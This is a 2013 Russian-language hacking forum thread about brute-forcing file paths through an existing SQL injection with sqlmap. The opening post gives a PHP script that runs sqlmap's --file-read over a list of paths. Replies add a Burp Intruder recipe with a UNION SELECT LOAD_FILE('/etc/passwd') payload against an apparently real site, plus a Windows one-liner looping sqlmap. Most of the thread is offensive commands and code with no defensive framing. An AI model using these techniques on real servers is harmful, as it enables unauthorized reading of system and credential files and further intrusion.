Авторские статьи Перебор файлов в sqlmap

Discussion in 'Статьи' started by Tyc00n, 19 Feb 2013.

  1. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    Бывает так, что у нас есть SQL-INJ и пользователь с правами на чтение/запись, но вот беда, полного пути у нас нету, и никаких ошибок сайт не выдает, что же делать?

    Те кто работал с sqlmap'ом знают, что при попытке чтения файла (например --read-file="/etc/passwd") создается файл в директории sqlmapa /output/[sitename]/files/ и если файл не существует на сервере или он просто был пуст, то пустой файл создастся в этой папке. Если же файл удалось прочесть, то мы получим его в этой же директории.

    Мы знаем, где-то в недрах сервера есть логи с нужными нам путями, но как их получить? Не перебирать же нам всё ручками ? Для решение этой проблемы подойдет след. способ.

    Пример использования на локальном сервере.

    Создаем отдельную папку на локальном сервере, копируем туда весь sqlmap с сессиями уже раскрученных sql-ing нужных нам сайтов (не обязательно, но так меньше путанницы будет) и пишем скрипт (назовем его index.php) след. содержания

    PHP:
    <?php

        set_time_limit
    (0);

        
    $array file("path.txt");

        foreach(
    $array as $line){

            
    system('C:\path\to\sqlmap\sqlmap.py -u "http://www.site.ru/index.php?id=1" --file-read="'.trim($line).'" --batch');
            
    sleep(1);
        }


    ?>
    Где C:\path\to\sqlmap\sqlmap.py путь до sqlmapa, и http://www.site.ru/index.php?id=1 sql-inj.

    Файл path.txt содержит в себе путь до файлов которые нужно перебрать (прикреплю ниже).

    sleep(1); делаем паузу между запросами, можно сделать средствами sqlmapa командой --delay=1

    После этого запускаем скрипт и смотрим как в папке sqlmapa /output/[sitename]/files/ появляются файлы, делаем сортировку по размеру файлов и ищем нужную нам инфу :)

    Ссылка на скрипт и path.txt
    http://www.sendspace.com/file/4ikgd1
    Ссылка на sqlmap
    http://sqlmap.org/

    Tyc00n (c) 2013
     
  2. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,097
    Likes Received:
    672
    Reputations:
    591
    жесть, зачем это??
     
  3. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    261
    Likes Received:
    65
    Reputations:
    4
    зачем так извращатся. легче заюзать Burp Suite.
     
  4. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    Метод для извращенцев, готов выстушать аналогию на Burp'e
     
  5. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    261
    Likes Received:
    65
    Reputations:
    4
    переходим по линку:
    http://www.asra.com/e-news.php?id=-2+union+select+1,LOAD_FILE('/etc/passwd'),3,4,5,6--
    в burp"e ловим запрос.
    Action->send to intruder
    делаем также
    http://makescreen.ru/i/d9a16a9c0e8bc9d1a134038a240e93.jpg
    переходим на вклудку Position
    делаем также
    http://makescreen.ru/i/f16fb25ee762da0f6ecb9ed6e46498.jpg
    сверхку нажимаем intruder->start attack
    http://makescreen.ru/i/8dd9eb8205f9b74a3e60a1e6111bb9.jpg
    всё).
    можно всё настроить как нужно. на вкладке Options есть много чего интересного.также очень удобно юзать при LFI есть функция добавки префиксов и т.д
     
  6. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    379
    Likes Received:
    496
    Reputations:
    37
    Пджди птчок... юзать PHP скрипт для запуска тулзы полностью написанной на Python-e ?

    Хотя соглашусь что вариант Sleep еще сложней =)
    Там 2 строчки в SQLmap-е нужно дописать чтобы оно делало LOAD_FILE в цикле читая файл с путями.
     
    #6 \/IRUS, 20 Feb 2013
    Last edited: 20 Feb 2013
  7. gmiller

    gmiller New Member

    Joined:
    18 May 2011
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    В Windows эту задачу я решаю таким способом:

    for /F %i in (pathes.txt) do sqlmap.py -u "http://www.site.com/show.php?id=2" --random-agent --thread 10 --batch --file-read=%i

    pathes.txt - файл с путями котрые проверяем
     
    Muracha likes this.
Loading...